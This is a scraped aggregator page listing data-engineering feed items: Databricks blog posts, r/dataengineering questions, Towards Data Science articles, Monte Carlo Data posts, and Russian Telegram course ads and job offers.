Power to the SQL People: Introducing Python UDFs in Databricks SQL
Power to the SQL People: Introducing Python UDFs in Databricks SQL

We were thrilled to announce the preview for Python User-Defined Functions (UDFs) in Databricks SQL (DBSQL) at last month’s Data and AI Summit.…

The post Power to the SQL People: Introducing Python UDFs in Databricks SQL appeared first on Databricks.

4 месяца, 1 неделя назад @ databricks.com
Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks
Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks

This is a collaborative post from Databricks and Compass. We thank Sujoy Dutta, Senior Machine Learning Engineer at Compass, for his contributions. …

The post Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks appeared first on Databricks.

4 месяца, 1 неделя назад @ databricks.com
Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks
Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks

This is a collaborative post from Databricks and Compass. We thank Sujoy Dutta, Senior Machine Learning Engineer at Compass, for his contributions. …

The post Parallel ML: How Compass Built a Framework for Training Many Machine Learning Models on Databricks appeared first on Databricks.

4 месяца, 1 неделя назад @ databricks.com
Hunting for IOCs Without Knowing Table Names or Field Labels
Hunting for IOCs Without Knowing Table Names or Field Labels

There is a breach! You are an infosec incident responder and you get called in to investigate. You show up and start asking…

The post Hunting for IOCs Without Knowing Table Names or Field Labels appeared first on Databricks.

4 месяца, 2 недели назад @ databricks.com
Hunting for IOCs Without Knowing Table Names or Field Labels
Hunting for IOCs Without Knowing Table Names or Field Labels

There is a breach! You are an infosec incident responder and you get called in to investigate. You show up and start asking…

The post Hunting for IOCs Without Knowing Table Names or Field Labels appeared first on Databricks.

4 месяца, 2 недели назад @ databricks.com
Introducing Spark Connect – The Power of Apache Spark, Everywhere
Introducing Spark Connect – The Power of Apache Spark, Everywhere Introducing Spark Connect – The Power of Apache Spark, Everywhere

At last week’s Data and AI Summit, we highlighted a new project called Spark Connect in the opening keynote. This blog post walks…

The post Introducing Spark Connect – The Power of Apache Spark, Everywhere appeared first on Databricks.

4 месяца, 3 недели назад @ databricks.com
Introducing Spark Connect – The Power of Apache Spark, Everywhere
Introducing Spark Connect – The Power of Apache Spark, Everywhere Introducing Spark Connect – The Power of Apache Spark, Everywhere

At last week’s Data and AI Summit, we highlighted a new project called Spark Connect in the opening keynote. This blog post walks…

The post Introducing Spark Connect – The Power of Apache Spark, Everywhere appeared first on Databricks.

4 месяца, 3 недели назад @ databricks.com
Designing a Java Connector for Delta Sharing Recipient
Designing a Java Connector for Delta Sharing Recipient Designing a Java Connector for Delta Sharing Recipient

Making an open data marketplace Stepping into this brave new digital world we are certain that data will be a central product for…

The post Designing a Java Connector for Delta Sharing Recipient appeared first on Databricks.

5 месяцев назад @ databricks.com
Designing a Java Connector for Delta Sharing Recipient
Designing a Java Connector for Delta Sharing Recipient Designing a Java Connector for Delta Sharing Recipient

Making an open data marketplace Stepping into this brave new digital world we are certain that data will be a central product for…

The post Designing a Java Connector for Delta Sharing Recipient appeared first on Databricks.

5 месяцев назад @ databricks.com
Introducing MLflow Pipelines with MLflow 2.0
Introducing MLflow Pipelines with MLflow 2.0 Introducing MLflow Pipelines with MLflow 2.0

Since we launched MLflow in 2018, MLflow has become the most popular MLOps framework, with over 11M monthly downloads! Today, teams of all…

The post Introducing MLflow Pipelines with MLflow 2.0 appeared first on Databricks.

5 месяцев назад @ databricks.com
Mix
/r/DataEngineering
последний пост 57 минут назад
Discussion thread: "data sourcing is more important than model building capability in the era of foundational model fine-tuning"
Discussion thread: "data sourcing is more important than model building capability in the era of foundational model fine-tuning"

Hey everyone, I was recently debating a friend who is a data engineer on whether data sourcing or model building capability will be more valuable as pre-trained foundational models become more and more capable. My position is that in an era of finetuning data will be king and OpenAI will kill the majority of other models. Would love to trigger a wider debate! submitted by /u/fourcornerclub [link] [comments]

57 минут назад @ reddit.com
Announcing: Regression Testing for Your Data
Announcing: Regression Testing for Your Data

submitted by /u/gabsferreiradev [link] [comments]

1 час назад @ reddit.com
Is there a way using pyspark to transform a sparse matrix that is in the cell of a dataframe into CSC format?
Is there a way using pyspark to transform a sparse matrix that is in the cell of a dataframe into CSC format?

I have a sparse matrix like this {[1 0 2, 0 3 0, 4 0 5]} in a pyspark dataframe cell. I'd like to have three columns with the following values in each cell: values: [1, 2, 3, 4, 5], rowIndices=[0, 2, 1, 0, 2], colPointers=[0, 2, 3, 5] Does anyone know how I can get the desired outcome? submitted by /u/BewitchedHare [link] [comments]

2 часа назад @ reddit.com
Airflow vs. Flyte Cheat Sheet
Airflow vs. Flyte Cheat Sheet Airflow vs. Flyte Cheat Sheet

submitted by /u/allasamhita [link] [comments]

2 часа назад @ reddit.com
Huge offer for Senior Role
Huge offer for Senior Role

I've received a job offer for senior data engineer with request of : - Team Leader, Mentor - salary up to 6 figure - Startup - Full remote in the field I want Salary would be 5x than what I'm earning now. I would call myself more a middle data engineer, I'm good in troubleshooting, but I've never mentored as I'm still learning a lot of things that I still don't know. Should I give it a try and let the company decide if I'm fit ? submitted by /u/CauliflowerJolly4599 [link] [comments]

4 часа назад @ reddit.com
Help required for html parsing
Help required for html parsing

For one of our NLP project, we have scraped data (downloaded raw data in html format) form a web portal. We are trying to parse the html and finding difficulties as the template they have used in the portal varies over the period of time and quite difficult as sometimes they don't even use proper styling for headers or etc.. We have to identify header, divions, sub division and contents. This hierarchy style is not consistent as they have used several templates to build the portal. Any ideas on how to tackle the situation? submitted by /u/Liily_07 [link] [comments]

5 часов назад @ reddit.com
Azure Data Factory - For Each overwriting records instead of inserting as new
Azure Data Factory - For Each overwriting records instead of inserting as new

I have followed this guide to create a for each loop retrieving the data I need and it is working, however I would like all my JSON records in a single file, but the copy task is overwriting the previously imported record and I cannot see how to make this an insert/upsert rather than overwriting. Due to my lack of experience and probably asking the wrong questions, Google has not been my friend and I have been unable to adapt this to meet my needs. I have tried changing copy behaviour from none to merge but this still did not solve the issue. Can anyone advise how to achieve what I am after? Thanks in advance! submitted by /u/StylishNihilist [link] [comments]

5 часов назад @ reddit.com
Seeking advice on cloud certifications
Seeking advice on cloud certifications

From a career standpoint, does it make sense to get the basic certifications for all the major cloud providers (AWS, Azure, GCP), or should I pick and focus on one? I am pretty sure the consulting firm I work for will pay for whichever option I go for. It would make sense to go for AWS, since it's the most used, but the customer I am currently assigned on uses GCP and Azure, so I am not sure on which to pick. If it makes sense to get them all, it saves me from the agony of choice. submitted by /u/arminredditer [link] [comments]

5 часов назад @ reddit.com
Where to start with Snowflake?
Where to start with Snowflake?

Hi, I am working as a data scientist at a company who has been so far outsourcing our engineering work to other companies. So all I know is that there is a data warehouse where I can find data that needs to be analyzed. Now, my company wants to get into data engineering as well. One tool of interest is Snowflake. Since we are working with AWS cloud services, it shouldn't be a problem to start with Snowflake. However, I just don't know how to build a data warehouse from scratch using Snowflake. Where should I start? Are there any courses or do I only learn by doing? Actually I would prefer if someone could give me a helicopter view about data engineering in general. Apologies for the long te…

5 часов назад @ reddit.com
Git for Data – What, How and Why Now
Git for Data – What, How and Why Now Git for Data – What, How and Why Now

submitted by /u/potfaxvow [link] [comments]

7 часов назад @ reddit.com
Data Engineer Contract to FTE Conversion Salary Expectations
Data Engineer Contract to FTE Conversion Salary Expectations

Hi all, I'm working as a W2 contractor through an agency and am 3 months into a 6 month contract. They like the work I've done so far and have started the process to convert me to full time. I'm mainly wondering what others experiences are negotiating from contract to FTE and what to expect in terms of base salary and if the rate should change drastically during the conversion. My own assumption is even though the company will now be incurring additional costs for benefits/401k match, etc.. , I should be paid the same rate working as a FTE since the company will no longer have to pay the agencies premium (e.g. I make $70/hr, but the agency is billing $100/hr ). Are my assumptions reasonable…

8 часов назад @ reddit.com
What is the best stack for fully on-prem large company (100k employees)
What is the best stack for fully on-prem large company (100k employees)

Currently considering cloudera, are there better options? submitted by /u/kultuhtu [link] [comments]

9 часов назад @ reddit.com
AWS zero ETL
AWS zero ETL

https://press.aboutamazon.com/2022/11/aws-announces-two-new-capabilities-to-move-toward-a-zero-etl-future-on-aws Any thoughts? Trying to read between the lines here, it sounds a bit like a fancy federated querying but I’m just speculating. There’s not much to go off of detail wise and am hoping for a white paper soon. This would be huge if it worked well for my company! Would def change some upcoming plans to switch to another cloud dw. submitted by /u/revy_bayes [link] [comments]

11 часов назад @ reddit.com
How to test/resources to look into
How to test/resources to look into

Hi i'm new to data engineering and am looking for where i can find more info on what sorts of tests to write, how to implement/integrate them on python. Currently we use a hadoop set up and spark jobs to update tables in a pipe, but there aren't any automated tests put in place. Most of the testing is done manually as a separate task but I feel like this isn't maintainable. Any suggestions would helpful submitted by /u/AdDesigner6934 [link] [comments]

13 часов назад @ reddit.com
Business Intelligence or Data engineering
Business Intelligence or Data engineering

I'm in the mid-age crisis here...I have a bachelor's degree in Computer Information Systems, and been working so many different roles and projects ever since I graduated.Here's a quick summary of the roles and projects that I played so far: QA (manual testing) - 1 year IT BA (web/mobile app, data warehousing, system migration, data migration, business process improvements) - 5 years SAS data analyst - 2 years IT PM (web app) - 1 year Most of the projects that I worked as a consultant lasted about 1 year or 2, so I neither have a strong business domain knowledge in the area I worked in nor gained super strong technical knowledge or skills (such as data warehousing) from each project. However…

13 часов назад @ reddit.com
Towards Data Science
последний пост 1 час назад
Exploring Midjourney V4 for Creating Digital Art
Exploring Midjourney V4 for Creating Digital Art Exploring Midjourney V4 for Creating Digital Art

A deep dive into the features and options for the popular text-to-image creation systemContinue reading on Towards Data Science »

1 час назад @ towardsdatascience.com
Finding related articles with TF-IDF and Python
Finding related articles with TF-IDF and Python Finding related articles with TF-IDF and Python

How to find related articles with TF-IDF. Implementing and optimizing a TF-IDF algorithm in Python.Continue reading on Towards Data Science »

1 час назад @ towardsdatascience.com
’Tis the Season to Explore our Best Deep Dives
’Tis the Season to Explore our Best Deep Dives ’Tis the Season to Explore our Best Deep Dives

Great data-science blog posts come in all shapes, formats, and reading times; it takes a lot of skill to produce a short and effective tutorial or a quick, well-scoped explainer! The TDS team does have a soft spot for those longer, thought-provoking articles our authors excel at writing, though—and we’ve published a particularly impressive crop of these in recent weeks.In case you missed them (or didn’t have the time to read them when they first popped up in your feed), this week we’ve gathered some of our standout deep dives from the past month. They cover a wide range of topics and approaches, and do so with patience, passion, and attention to detail. Enjoy your reading—and don’t forget t…

1 час назад @ towardsdatascience.com
How to Evaluate Clustering Performance without Ground Truth Labels
How to Evaluate Clustering Performance without Ground Truth Labels How to Evaluate Clustering Performance without Ground Truth Labels

An illustrative guide to choosing an appropriate validity metric based on cluster conformationContinue reading on Towards Data Science »

2 часа назад @ towardsdatascience.com
Sssneaky Data Problems that Creep in Over Time
Sssneaky Data Problems that Creep in Over Time Sssneaky Data Problems that Creep in Over Time

Image by authorMitigating the unavoidable impacts of data drift and bit rot in a long-lived data productHave you ever had a data product operating smoothly for a long period of time … then suddenly break? Have you spent time wondering what changed, only to discover that someone renamed a column in a table somewhere? Or perhaps, you discover that suddenly your data is one more day stale than it used to be? When you move from a development mindset to a data product mindset, your focus turns from the specification and development of new functionality to the problem of maintaining continued, reliable and robust execution. Yet, with a long-lived data product also come the unavoidable and often u…

8 часов назад @ towardsdatascience.com
Understanding SVR and Epsilon Insensitive Loss with Scikit-learn
Understanding SVR and Epsilon Insensitive Loss with Scikit-learn Understanding SVR and Epsilon Insensitive Loss with Scikit-learn

With visualization to clearly explain the impacts of hyperparametersContinue reading on Towards Data Science »

8 часов назад @ towardsdatascience.com
Artificial Intelligence for Geospatial Analysis with Pytorch’s TorchGeo (part 2)
Artificial Intelligence for Geospatial Analysis with Pytorch’s TorchGeo (part 2) Artificial Intelligence for Geospatial Analysis with Pytorch’s TorchGeo (part 2)

An end-to-end deep learning geospatial segmentation project using Pytorch and TorchGeo packagesContinue reading on Towards Data Science »

8 часов назад @ towardsdatascience.com
k-Nearest Neighbors for Lithology Classification from Well Logs Using Python
k-Nearest Neighbors for Lithology Classification from Well Logs Using Python k-Nearest Neighbors for Lithology Classification from Well Logs Using Python

Subdividing the Subsurface Based on Well Log MeasurementsContinue reading on Towards Data Science »

18 часов назад @ towardsdatascience.com
How to (Finally) Install TensorFlow GPU on WSL2
How to (Finally) Install TensorFlow GPU on WSL2 How to (Finally) Install TensorFlow GPU on WSL2

Works 100%Continue reading on Towards Data Science »

19 часов назад @ towardsdatascience.com
Data Retrieval with SQL — Tutorial & Examples
Data Retrieval with SQL — Tutorial & Examples Data Retrieval with SQL — Tutorial & Examples

SQL Tutorial with Examples and Cheat SheetContinue reading on Towards Data Science »

19 часов назад @ towardsdatascience.com
How To Lie With Data
How To Lie With Data How To Lie With Data

Or alternatively, How To Be Critical With Data.Continue reading on Towards Data Science »

19 часов назад @ towardsdatascience.com
Fluorescent Neuronal Cells dataset — part II
Fluorescent Neuronal Cells dataset — part II Fluorescent Neuronal Cells dataset — part II

Fluorescent Neuronal Cells dataset — part IIPeculiar traits and challengesPhoto by JESHOOTS.COM on UnsplashIn the second article of this series, we will go through the Fluorescent Neuronal Cells (FNC) data in more detail, highlighting some of their peculiar traits and challenges.If you missed the first part, check it out for more details on how the data were gathered and what they represent:Fluorescent Neuronal Cells dataset — part IDistinctive traitsThe Fluorescent Neuronal Cells dataset comes with some peculiar traits that may be worth mentioning in order to help analyze these data.RGB channelsThe pictures are dominated by two prevalent tints due to the intentional selection of light with…

19 часов назад @ towardsdatascience.com
Techniques to Improve the Performance of a DQN Agent
Techniques to Improve the Performance of a DQN Agent Techniques to Improve the Performance of a DQN Agent

A robot playing games. Image by Dall-E 2.Reinforcement learning challenges and how to solve themDeep reinforcement learning is not just about replacing a Q-table with a neural network. There are more techniques you need to implement to improve the performance of the agent. Without these, it can be difficult or even impossible to create a well-performing RL agent.If you aren’t familiar with deep Q networks (DQN), I can recommend this post. The image below summarizes the process: a Q-table is replaced by a neural network to approximate the Q-value of every state action pair. The reason to use a neural network instead of a Q-table, is because the Q-table doesn’t scale well. Another reason is t…

19 часов назад @ towardsdatascience.com
How Type I Error, Confidence Intervals, Type II Error, and Power Are All Related
How Type I Error, Confidence Intervals, Type II Error, and Power Are All Related How Type I Error, Confidence Intervals, Type II Error, and Power Are All Related

Comparing normal distributions and their metricsContinue reading on Towards Data Science »

19 часов назад @ towardsdatascience.com
Artificial Intelligence for Geospatial Analysis with Pytorch’s TorchGeo (Part 1)
Artificial Intelligence for Geospatial Analysis with Pytorch’s TorchGeo (Part 1) Artificial Intelligence for Geospatial Analysis with Pytorch’s TorchGeo (Part 1)

An end-to-end deep learning geospatial segmentation project using Pytorch and TorchGeo packagesContinue reading on Towards Data Science »

19 часов назад @ towardsdatascience.com
Monte Carlo Data Monte Carlo Data
последний пост 1 день назад
How To Implement Data Mesh: Practical Tips From 4 Data Leaders
How To Implement Data Mesh: Practical Tips From 4 Data Leaders How To Implement Data Mesh: Practical Tips From 4 Data Leaders

Four data leaders from leading organizations give their practical advice on how to implement data mesh.

1 день назад @ montecarlodata.com
How SeatGeek Reduced Data Incidents to Zero with Data Observability
How SeatGeek Reduced Data Incidents to Zero with Data Observability How SeatGeek Reduced Data Incidents to Zero with Data Observability

In this video, SeatGeek's Brian London and Kyle Shannon share how data observability helped their data team reduce data incidents from 10 to 0 per month in just one quarter.

1 неделя, 1 день назад @ montecarlodata.com
How Data and Finance Teams Can Be Friends (And Stop Being Frenemies)
How Data and Finance Teams Can Be Friends (And Stop Being Frenemies) How Data and Finance Teams Can Be Friends (And Stop Being Frenemies)

Part one in a practical data leader series: how data leaders can better work with the finance team.

1 неделя, 2 дня назад @ montecarlodata.com
What’s Next for Data Engineering in 2023? 13 Predictions
What’s Next for Data Engineering in 2023? 13 Predictions What’s Next for Data Engineering in 2023? 13 Predictions

Data trend predictions from two industry veterans who have made big bets on the future of data engineering.

1 неделя, 3 дня назад @ montecarlodata.com
3 Questions with Daniel Kahneman, Author of Thinking, Fast and Slow
3 Questions with Daniel Kahneman, Author of Thinking, Fast and Slow 3 Questions with Daniel Kahneman, Author of Thinking, Fast and Slow

Will AI develop empathy? Can AI and humans co-exist? Inquiring minds want to know, and Nobel Prize-winner Daniel Kahneman has the answers.

2 недели назад @ montecarlodata.com
The 7 Rules of Building a Data-Driven Culture
The 7 Rules of Building a Data-Driven Culture The 7 Rules of Building a Data-Driven Culture

Check out the 7 rules that helped Cribl transform into a data-driven culture with critical assets used by 60% of employees every month.

2 недели, 1 день назад @ montecarlodata.com
Monte Carlo Announces Power BI Integration to Help Data Teams Triage and Prevent Data Incidents at Scale
Monte Carlo Announces Power BI Integration to Help Data Teams Triage and Prevent Data Incidents at Scale Monte Carlo Announces Power BI Integration to Help Data Teams Triage and Prevent Data Incidents at Scale

Monte Carlo's new integration with Microsoft Power BI helps data teams detect, triage, and understand the downstream impact of data downtime.

2 недели, 2 дня назад @ montecarlodata.com
The Slow, Agonizing Death of the Customer Data Platform
The Slow, Agonizing Death of the Customer Data Platform The Slow, Agonizing Death of the Customer Data Platform

Long live the composable customer data platform. Or, why marketing and data teams should be friends.

3 недели назад @ montecarlodata.com
Where the Data Silos Are
Where the Data Silos Are Where the Data Silos Are

You’ve heard of shadow IT, but what about shadow data? Read on to see where the data silos are and how to get rid of them.

1 месяц назад @ montecarlodata.com
Announcing Monte Carlo’s Data Reliability Dashboard, a Better Way Understand the Health of Your Data
Announcing Monte Carlo’s Data Reliability Dashboard, a Better Way Understand the Health of Your Data Announcing Monte Carlo’s Data Reliability Dashboard, a Better Way Understand the Health of Your Data

Data Reliability Dashboard gives data engineers the tools necessary to measure data uptime, drive operational improvements, and scale reliability.

1 месяц назад @ montecarlodata.com
5 Steps To A Successful Data Warehouse Migration
5 Steps To A Successful Data Warehouse Migration 5 Steps To A Successful Data Warehouse Migration

Real lessons from recent data warehouse migrations like Qubole to AWS EMR andMySQL to AWS Redshift.

1 месяц, 2 недели назад @ montecarlodata.com
The Fight for Controlled Freedom of the Data Warehouse
The Fight for Controlled Freedom of the Data Warehouse The Fight for Controlled Freedom of the Data Warehouse

The data gatekeeper is dead, long live the…oh no what have we done?

1 месяц, 2 недели назад @ montecarlodata.com
Monitoring the dbt Semantic Layer and Beyond
Monitoring the dbt Semantic Layer and Beyond Monitoring the dbt Semantic Layer and Beyond

Let’s talk about anomaly detection, resolution, and prevention across the dbt Semantic Layer and the metrics you care about.

1 месяц, 2 недели назад @ montecarlodata.com
Why Data Cleaning is Failing Your ML Models – And What To Do About It
Why Data Cleaning is Failing Your ML Models – And What To Do About It Why Data Cleaning is Failing Your ML Models – And What To Do About It

When it comes to achieving model accuracy, data cleaning alone is insufficient. Here’s why.

1 месяц, 3 недели назад @ montecarlodata.com
Organizing Talent: Return of the Data Center of Excellence
Organizing Talent: Return of the Data Center of Excellence Organizing Talent: Return of the Data Center of Excellence

More organizations are leveraging a data center of excellence and central data platform to mitigate the risks inherent with the extremes of centralization and decentralization.

1 месяц, 3 недели назад @ montecarlodata.com
DE Telegram
DataEng DataEng
последний пост 5 дней, 1 час назад
Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности
Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности

Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности в пиковые периоды и экономить затраты во время простоя.Также мы покажем, как организовать хранение данных в S3 и преобразовывать их с помощью SQL-запросов. Поделимся планами и направлениями развития сервиса.Участие бесплатное.➡️ Регистрируйтесь на вебинар

5 дней, 1 час назад @ t.me
🔥 Как применять подход векторного представления слов в NLP?🗓 Расскажем 1 декабря в 18:00 мск на открытом уроке «Как применять подход векторного представления слов в NLP» 💻 На занятии вы познакомитесь с преподавателем Марией Тихоновой, специалистом по анали
🔥 Как применять подход векторного представления слов в NLP?🗓 Расскажем 1 декабря в 18:00 мск на открытом уроке «Как применять подход векторного представления слов в NLP» 💻 На занятии вы познакомитесь с преподавателем Марией Тихоновой, специалистом по анали 🔥 Как применять подход векторного представления слов в NLP?🗓 Расскажем 1 декабря в 18:00 мск на открытом уроке «Как применять подход векторного представления слов в NLP» 💻 На занятии вы познакомитесь с преподавателем Марией Тихоновой, специалистом по анали

🔥 Как применять подход векторного представления слов в NLP?🗓 Расскажем 1 декабря в 18:00 мск на открытом уроке «Как применять подход векторного представления слов в NLP» 💻 На занятии вы познакомитесь с преподавателем Марией Тихоновой, специалистом по анализу данных в команде AGI NLP в SberDevices.💣 По итогам занятия вы:️✔️ Узнаете технику векторных представлений слов (word embedding)✔️ Изучите несколько классических методов векторных представлений слов.✔️ Научитесь применять методы word embedding для решения прикладных NLP-задач📊 Занятие проходит в рамках курса «Natural Language Processing (NLP)». Курс предназначен для DS/ML-специалистов, которые хотят углубить знания в области NLP.✅ Регист…

1 неделя назад @ t.me
Всем привет! 👋Друзья, предлагаем вам оценить российский рынок мероприятий для разработчиков. Поделитесь, какие митапы и конференции вам интересны и почему, какие форматы участия вы предпочитаете. Онлайн-опрос займет не более 3-х минут. За это время вы пер
Всем привет! 👋Друзья, предлагаем вам оценить российский рынок мероприятий для разработчиков. Поделитесь, какие митапы и конференции вам интересны и почему, какие форматы участия вы предпочитаете. Онлайн-опрос займет не более 3-х минут. За это время вы пер

Всем привет! 👋Друзья, предлагаем вам оценить российский рынок мероприятий для разработчиков. Поделитесь, какие митапы и конференции вам интересны и почему, какие форматы участия вы предпочитаете. Онлайн-опрос займет не более 3-х минут. За это время вы передохнёте от работы, а в конце мы подарим скидку 25% на крутые образовательные лекции! Пройти опрос

2 недели, 2 дня назад @ t.me
​​🔥 Выгрузка данных из внешних систем — одна из неотъемлемых задач дата-инженера. 📌 Узнайте, как грамотно справляться с ней на открытом уроке 10 ноября в 18:00 мск. Занятие проведет Алексей Железной, Data Engineer в Wildberries. ️️❇️ Что вас ждет на вебина
​​🔥 Выгрузка данных из внешних систем — одна из неотъемлемых задач дата-инженера. 📌 Узнайте, как грамотно справляться с ней на открытом уроке 10 ноября в 18:00 мск. Занятие проведет Алексей Железной, Data Engineer в Wildberries. ️️❇️ Что вас ждет на вебина

​​🔥 Выгрузка данных из внешних систем — одна из неотъемлемых задач дата-инженера. 📌 Узнайте, как грамотно справляться с ней на открытом уроке 10 ноября в 18:00 мск. Занятие проведет Алексей Железной, Data Engineer в Wildberries. ️️❇️ Что вас ждет на вебинаре?️️✔️ Изучим классификацию источников✔️ Поймем, как это влияет на выбор способа загрузки информации✔️ Разберемся, какие из универсальных инструментов выгрузки данных актуальны сегодня ✔️ Научимся самостоятельно настраивать Data Ingestion пайплайны с помощью NiFi.💻 Занятие является частью онлайн-курса «Data Engineer» и дает возможность оценить формат обучения в OTUS. 🟢 Для регистрации пройдите вступительный тестРеклама. Информация о рекла…

3 недели, 2 дня назад @ t.me
На ютуб-канале SmartData начали появляться доклады с одноимённой конференции, которая проходила в конце октября: https://bit.ly/3zOHh2h
На ютуб-канале SmartData начали появляться доклады с одноимённой конференции, которая проходила в конце октября: https://bit.ly/3zOHh2h

На ютуб-канале SmartData начали появляться доклады с одноимённой конференции, которая проходила в конце октября: https://bit.ly/3zOHh2h

3 недели, 4 дня назад @ t.me
Ко мне обратилась IT-компания с просьбой провести анонимный опрос среди подписчиков моего канала. Если у вас есть пара минут, порефлексируйте, пожалуйста, с нами о новой реальности в небольшом опросе. Ваши ответы помогут крупной IT-компании понять, где теп
Ко мне обратилась IT-компания с просьбой провести анонимный опрос среди подписчиков моего канала. Если у вас есть пара минут, порефлексируйте, пожалуйста, с нами о новой реальности в небольшом опросе. Ваши ответы помогут крупной IT-компании понять, где теп

Ко мне обратилась IT-компания с просьбой провести анонимный опрос среди подписчиков моего канала. Если у вас есть пара минут, порефлексируйте, пожалуйста, с нами о новой реальности в небольшом опросе. Ваши ответы помогут крупной IT-компании понять, где теперь лучше организовывать профессиональные мероприятия и оказывать помощь и поддержку комьюнити.Пройти опрос.Опрос актуален для граждан РФ

3 недели, 6 дней назад @ t.me
Data Engineer (senior/lead)🏢 в классном офисе в Москве;💳 от 300К руб., белая ЗП или ИП;🗂 большой датасет, интересные задачи, возможность влиять на продукт.Ищем Data Engineer в команду PREDICTO. Будем разрабатывать CDP (costumer data platform), для сегмента
Data Engineer (senior/lead)🏢 в классном офисе в Москве;💳 от 300К руб., белая ЗП или ИП;🗂 большой датасет, интересные задачи, возможность влиять на продукт.Ищем Data Engineer в команду PREDICTO. Будем разрабатывать CDP (costumer data platform), для сегмента

Data Engineer (senior/lead)🏢 в классном офисе в Москве;💳 от 300К руб., белая ЗП или ИП;🗂 большой датасет, интересные задачи, возможность влиять на продукт.Ищем Data Engineer в команду PREDICTO. Будем разрабатывать CDP (costumer data platform), для сегментации пользователей на аудитории и многих других интересных задач.Нет долгих согласований, стремимся к быстрому внедрению в production и итеративной работой над улучшениями.Что нужно делать:• Проектировать, разрабатывать и поддерживать пайплайны для сбора и обработки данных;• Обеспечивать SLA и качество данных;• Готовить данные для моделей машинного обучения и участвовать в их продукционализации совместно с data science командой. Что ждем от…

1 месяц назад @ t.me
​​🔴 Как работать с ГЕО-данными в DWH? 📌 Расскажем на открытом уроке 26 октября в 20:00. Занятие проведет Артемий Козырь, Analytics Engineer с 7+ лет опыта работы с данными. 💣 Мы рассмотрим темы:✔️ Привязка событий к зонам на карте города;✔️ Агрегирование и
​​🔴 Как работать с ГЕО-данными в DWH? 📌 Расскажем на открытом уроке 26 октября в 20:00. Занятие проведет Артемий Козырь, Analytics Engineer с 7+ лет опыта работы с данными. 💣 Мы рассмотрим темы:✔️ Привязка событий к зонам на карте города;✔️ Агрегирование и

​​🔴 Как работать с ГЕО-данными в DWH? 📌 Расскажем на открытом уроке 26 октября в 20:00. Занятие проведет Артемий Козырь, Analytics Engineer с 7+ лет опыта работы с данными. 💣 Мы рассмотрим темы:✔️ Привязка событий к зонам на карте города;✔️ Агрегирование и аналитика данных с помощью H3 (гексагоны);✔️ Оптимизация расчетов и производительности, кэширование.💻 Также на вебинаре подробнее познакомимся с программой онлайн-курса “Data Engineer”🔥 Проходите вступительный тест и записывайтесь на урок

1 месяц назад @ t.me
🔴 Как работать с ГЕО-данными в DWH? 📌 Расскажем на открытом уроке 26 октября в 20:00. Занятие проведет Артемий Козырь, Analytics Engineer с 7+ лет опыта работы с данными. 💣 Мы рассмотрим темы:✔️ Привязка событий к зонам на карте города;✔️ Агрегирование и а
🔴 Как работать с ГЕО-данными в DWH? 📌 Расскажем на открытом уроке 26 октября в 20:00. Занятие проведет Артемий Козырь, Analytics Engineer с 7+ лет опыта работы с данными. 💣 Мы рассмотрим темы:✔️ Привязка событий к зонам на карте города;✔️ Агрегирование и а

🔴 Как работать с ГЕО-данными в DWH? 📌 Расскажем на открытом уроке 26 октября в 20:00. Занятие проведет Артемий Козырь, Analytics Engineer с 7+ лет опыта работы с данными. 💣 Мы рассмотрим темы:✔️ Привязка событий к зонам на карте города;✔️ Агрегирование и аналитика данных с помощью H3 (гексагоны);✔️ Оптимизация расчетов и производительности, кэширование.💻 Также на вебинаре подробнее познакомимся с программой онлайн-курса “Data Engineer”🔥 Проходите вступительный тест и записывайтесь на урок

1 месяц, 1 неделя назад @ t.me
Релиз Python 3.11Вчера вышел долгожданный (как минимум мною) релиз Python 3.11 Новая версия быстрее предыдущей на 10-60%, а в среднем на 22%, но помимо буста в производительности релиз содержит ряд крутых фич:— TaskGroup, можно забыть про asyncio.gather— E
Релиз Python 3.11Вчера вышел долгожданный (как минимум мною) релиз Python 3.11 Новая версия быстрее предыдущей на 10-60%, а в среднем на 22%, но помимо буста в производительности релиз содержит ряд крутых фич:— TaskGroup, можно забыть про asyncio.gather— E

Релиз Python 3.11Вчера вышел долгожданный (как минимум мною) релиз Python 3.11 Новая версия быстрее предыдущей на 10-60%, а в среднем на 22%, но помимо буста в производительности релиз содержит ряд крутых фич:— TaskGroup, можно забыть про asyncio.gather— ExceptionGroups— Читабельные traceback с подчеркиваниямиМне особенно зашла фича с группами исключений, даже накидал небольшой демо-пример.Когда стоит переводить проект на Python 3.11?Торопиться не стоит, т.к. далеко не все пакеты в вашем проекте могут иметь работающие колёса (wheel). Прямо сейчас, например, нет колёс для библиотеки psycopg2 для python3.11 под Windows. Я бы рекомендовал подождать пару минорных версий с исправлениями и уже по…

1 месяц, 1 неделя назад @ t.me
​​🔥 Хардкорный тест для дата инженеров 🔥🚀 Ответьте на 20 вопросов и проверьте, насколько вы готовы к обучению на курсе - «Data Engineer»💻 В новом потоке вас ждет актуализированная программа, живые вебинары с опытными экспертами и еще больше практики! В про
​​🔥 Хардкорный тест для дата инженеров 🔥🚀 Ответьте на 20 вопросов и проверьте, насколько вы готовы к обучению на курсе - «Data Engineer»💻 В новом потоке вас ждет актуализированная программа, живые вебинары с опытными экспертами и еще больше практики! В про

